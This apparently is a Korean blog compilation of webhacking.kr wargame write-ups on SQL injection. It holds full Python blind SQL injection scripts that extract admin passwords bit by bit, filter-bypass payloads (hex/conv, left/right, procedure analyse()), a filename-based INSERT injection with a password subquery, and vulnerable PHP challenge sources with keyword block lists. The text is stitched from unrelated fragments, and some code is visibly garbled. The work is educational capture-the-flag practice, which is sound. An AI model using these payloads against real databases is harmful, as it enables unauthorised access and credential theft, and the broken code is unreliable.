로그인을 누르면 guest 계정으로 로그인된다.

우선 어떤 것들이 필터되었는지 확인하자.


// 필터문자


%20

union

/

*

or

limit

order

ascii


// 사용 가능 문자


select

(

)

0x

like

<, >

length

substr

mid

lpad

conv

hex


관리자 계정으로 들어가기 위해 no=-1||no=2%23 을 url에 직접 입력하였더니 관리자 비밀번호 재인증 페이지로 이동되었다.

이 문제는 아래와 같이 기존에 Blind SQL 인젝션 스크립트를 사용해도 된다. 하지만 너무느려서 검색을 하다 효율적인 Blind SQL 인젝션 알게됐다.

https://blog.silnex.kr/efficient-blind-sql-injection/



// 기존 Blind SQL 인젝션 스크립트


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passwd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
for i in xrange(1,100):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 length(pw)<{} -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        pwLen = i-1
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        # if chr(j) == '%' or chr(j) == '_':
        #     continue
 
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(pw,{},1)={} -- ".format(str(i), str(hex(j)))
        injectParams = injectParams.replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs





앞서 링크한 블로그에 너무 잘 설명되어있어 간략하게 기술하자면

기존 Blind SQL 인젝션과 같은 경우는 한글자를 알아내기 위해 아스키코드33 ~ 126까지 하나하나 대입해야하므로 굉장히 느리다.


하지만 Efficient Blind SQL 인젝션 스크립트를 이용하면 굉장히 빠르다.

예를 들어, 패스워드 길이를 구하려한다면 lpad(bin(length(pw)),7,0)으로 2진수 7자리로 변환해준다.

패스워드 길이가 10이면 0001010이 되고 substr() 함수로 각 자리를 1번씩만 비교하여 총 7번의 비교로 패스워드 길이를 구할 수 있다.

(아래 스크립트 22~37 라인에 해당함)


앞서 링크를 보면 패스워드를 구하기 위해 substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1) 를 사용했는데

이 문제는 ascii 함수를 필터처리 했다. 따라서 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 와 같이

hex로 우회한 뒤 conv 함수로 16진수를 2진수로 변환 후 7자리가 되도록 0으로 패딩하고 substr 함수로 

한자리씩 비교하였다.


+추가  ascii 함수가 필터돼서 hex함수로 우회하고 2진수로 변환했는데 ord() 함수도 ascii() 함수와 동일한 기능을 한다.


혹시 나중에 까먹었을 때 금방 눈에 들어오게 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 를 풀어 설명하자면

pw = "abcd" 일 때


1. substr(pw,1,1) -> 'a'

2. hex('a') -> 61

3. conv(61, 16, 2) ->1100001  // conv 함수는 진법 변환 함수로 16진수 ->2진수로 변환했다

4. lpad('1100001',7,0) -> 1100001 // lpad 함수는 왼쪽에 0으로 패딩값을 채우는 것이다.(7자리)



// efficient Blind SQL 인젝션


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'YourPassword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) select substr(lpad(bin(length(pw)),7,0),{},1);
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(bin(length(pw)),7,0),{},1)=0 -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1);
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1)=0 -- ".format(i,j).replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + " --> {}'s injection".format(count)
        count+=1
 
        if find:
            bin_tmp += "0"
        else:
            bin_tmp += "1"
 
 
    password += chr(int(bin_tmp,2))
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



// 실행 결과 화면



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib
import urllib2
import time
 
url = "http://webhacking.kr"
id_pw = {'id' : 'rap1er''pw' : 'password'}
user_agent = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
session_id = 'PHPSESSID=3da1bb25110cf6a6985794933b3bf4e8'
print session_id
 
#target_url = url + '/index.php'
 
while True:
    req = urllib2.Request(url, urllib.urlencode(id_pw), headers=user_agent)
    req.add_header('cookie', session_id)
    res = urllib2.urlopen(req)
    print res.read()
 
    time.sleep(180)    
cs


문제 풀라고 고민하다가 자꾸 세션이 만료돼서 로그인을 다시해주는게 귀찮아서 만듬


<!--


hint


rank table

====================

ip ( = id )

score

**password** --> small letter

====================


-->



http://webhacking.kr/challenge/web/web-31/rank.php?score=-1%20or%201=1# 을 입력할 때 나오는 화면이다. 

즉, 참일 때 localhost 라는 텍스트가 출력되고 거짓일 땐 없다.

힌트에서 rank 테이블은 ip, score, password 3개 필드로 구성되었다고 주어졌다. 또한, 패스워드는 소문자?


score 파라미터 값에 따라 화면에 출력되는 id : // 값이 바뀌는 것을 보면 score를 이용하는 것이 분명하다.

추측하면 다음과 같다.


SELECT * FROM tb WHERE score=$_GET['score'] 


싱글쿼터를 삽입해도 에러가 발생하지 않는 것으로 보아 score는 싱글쿼터가 없는 숫자 값이다.


-1 or 1=1#

-1 or 1=2#


참/거짓 페이지를 이용한 블라인드 SQL 인젝션 공격으로 이번 문제를 풀어보자.

목록으로 랭커들을 출력하기 때문에 UNION SELECT 공격으로 시도했지만 UNION SELECT 모두 필터처리됨.


또한, 필터 함수를 확인해봤는데 블라인드 SQL 인젝션에 사용하는 내장함수를 대부분 필터했다.

대표적으로 substr, substring, mid, ascii, char... 다행히 length 함수는 필터안되어있다.


이 문제를 통해 substr이 필터되었을 때 left, right 함수를 사용해 우회가 가능하다는 것을 알게되었다.

ex) substr("abc",2,1); -> 'b' //  right(left("abc",2),1) 두 함수 결과는 같다.



문제 의도가 패스워드를 알아내는 것 같은데 칼럼을 알아야 인젝션을 시도할 수 있다.

어떻게 풀지 몰라서 검색한 결과 procedure analyse() 함수라는 것을 알게되었다.

본 함수는 테이블 각 칼럼에 대한 최적의 데이터 형식을 제공하거나 칼럼 정보를 출력하는 함수이다.




자세한 내용은 이전 게시물을 참조하면 됨.

2018/09/03 - [WEB Hacking/흔적] - [MySQL]SQL 인젝션 :: procedure analyse()

procedure analyse() 함수는 LIMIT 절에도 사용할 수 있으며 앞서 추측했던 SELECT 쿼리에도 적용가능하다.



SELECT id, score, password FROM tb WHERE score=-1 procedure analyse() 를 입력하면

id : webhacking.challenge55_game.ip 가 화면에 출력된다.



다른 필드 값을 구하기 위해 LIMIT 구를 사용한다.


score=-1%20limit%200,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.ip

score=-1%20limit%201,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.score

score=-1%20limit%202,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.pAsSw0RdzzzZ


왜 score 가 음수일 때만 필드 값이 나오는지 모르겠음 ㅡㅡ
아는분 있으면 댓글로 알려주세요..



rank 테이블은 ip, score, pAsSw0RdzzzZ 3개의 필드가 존재한다.

따라서 비밀번호를 블라인드 SQL 인젝션을 통해 구하면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import urllib2
import urllib
import re
 
TrueKeyword = "localhost"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'password'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
 
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
for i in xrange(1,100):
    injectParams = "score=-1 or length(pAsSw0RdzzzZ) like {} --".format(str(i)).replace(" ","%20")
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("localhost", data)
    if find:
        pwLen = i
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        if chr(j) == '%' or chr(j) == '_':
            continue
 
        injectParams = "score=-1 or right(left(pAsSw0RdzzzZ,"+str(i)+"),1) like "+str(hex(j))+" -- "
        injectParams = injectParams.replace(" ""%20")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("localhost", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs



원래 '='를 필터 하는 문제가 많아서 like로 아무 생각없이 코딩했다가 자꾸 %에서 참이 나오는 바람에 엄청 시간을 많이 소비했다.

LIKE는 % 또는 _ 를 문법으로 사용하기 때문에 LIKE로 블라인드 SQL 인젝션 스크립트 만들 때 주의해야함.


[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3e%20--%20->(>)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3f%20--%20->(?)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x40%20--%20->(@)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x41%20--%20->(A)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x42%20--%20->(B)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x43%20--%20->(C)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x44%20--%20->(D)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x45%20--%20->(E)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x46%20--%20->(F)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x47%20--%20->(G)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x48%20--%20->(H)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x49%20--%20->(I)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4a%20--%20->(J)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4b%20--%20->(K)              

####current password#### : CHALLENGE55CLEAR~~KK                                                   

CHALLENGE55CLEAR~~KK     

                                                          

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd /c inetcpl.cpl"
WScript.Sleep 500

WshShell.SendKeys"^{Tab}^{Tab}^{Tab}^{Tab}{L}"
WScript.Sleep 200

WshShell.SendKeys "^{Tab}^{Tab}{ }{enter}"
WScript.Sleep 200
WshShell.SendKeys"{a}(%{F4})"

웹 해킹 할 때 프록시 설정을 수작업으로 하기 너무 귀찮아서

스크립트를 찾다 좋은 VBScript 찾음

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>












































<html>

<head>

<title>Challenge 29</title>

</head>

<body>

<hr>

hint<br><br>

<font size=1>select password from c29_tb<br><br>

$file_name=str_replace(".","",$file_name);<br><br>

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.<br>

더 간단한 방법이 존재하니 그 방법을 이용해주세요.

</font>

<hr>


<form method=post enctype="multipart/form-data" action=index.php>

<input type=file name=upfile><input type=submit>

</form>


</body>

</html>


소스코드는 파일 첨부 기능과 .을 필터처리 하는 것 이외 별 기능이 없다.

임의 파일을 첨부해서 전송하면 시간, ip, file 값이 출력된다.

------------------------------------------------

   time        |         ip        |       file

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------


위 결과를 볼 때, INSERT 쿼리로 파일을 DB에 저장하고, SELECT로 출력했을 것이다.

1. INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');

2. SELECT time, ip, file from c29_tb;



우리가 조작할 수 있는 것은 파일명이다.

또한 magic_quotes_gpc 옵션이 On이 되어있는데, 해당 옵션은 GET, POST, COOKIE 방식으로 전달받을 때 적용되고

$_FILE 변수로 전달받을 때는 적용안됨.



abc')# 로 파일명을 변경해서 전송했더니 upload error! 가 출력된다.

즉, INSERT 쿼리로 값을 저장할 때 칼럼의 순서가 다를수도 있다는 것이다.


INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$file_name', '$_SERVER["REMOTE_ADDR"]');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$file_name', '$time', '$_SERVER["REMOTE_ADDR"]');  // Done


파일명이 첫번째 칼럼으로 지정되어 있다. 

따라서 파일명을 hellworld','153582527','123123')#로 변경후 전송했다.



업로드는 성공했는데 출력이 없었다. INSERT를 할 때 자료형을 맞춰서 전달해야하는 것 같다.

hellworld','153582527','111.222.333.444')#로 파일명을 변경해서 시도했지만 여전히 업로드한 파일이 출력되지 않았다.

2번째, 3번째 칼럼위치도 변경해서 시도했지만 마찬가지였다.


아....필터처리를 까먹었다. .을 필터처리하기 때문에 CHAR()함수를 사용해 전송했지만 

마찬가지로 해당파일을 출력한 화면을 볼 수 없었다.


SELECT 쿼리로 처리할 때 WHERE 구에 공인IP 주소를 조건으로 사용하는 것 같다.

나의 공인IP 주소를 CHAR() 함수로 변환해서 시도해봤다.


hellworld','153582527',CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))# 으로 전송하니 성공!

따라서 시간 칼럼 부분에 서브 쿼리로 (SELECT password FROM c29_tb)로 변경해서 전송하면 패스워드를 화면에서 볼 수 있다.


Hellworld!',(SELECT password from c29_tb),CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))#

IP는 소중하니까 물음표..


Password is 296eedfa0b5f4deab7cc8140cfc65dd8


<?


echo("<a href=index_lolll.phps>source</a>");


if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");


if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");

if(strlen($_GET[id])>18) exit("Access Denied");


$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));


echo("<b>$q[id]</b><br>");

if($q[id]=="admin") 

    @clear();


echo("</body></html>");


?>



필터문자

(, )

union

select

challenge

from

,

by

.


이러한 값이 전달되면 "Access Denied" 출력

마찬가지로 문자열 길이도 18 이상이면 "Access Denied"


[쿼리]

SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1



어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.


mysql> select 'admin' as no from member order by no;

+-------+

| no    |

+-------+

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

+-------+

10 rows in set (0.00 sec)


위 쿼리와 같은 방법으로 하면 해결할 수 있다.

member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.


이 쿼리 방식을 문제에 적용하면 아래와 같다.


SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면

모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다

하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.


challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id 

+ Recent posts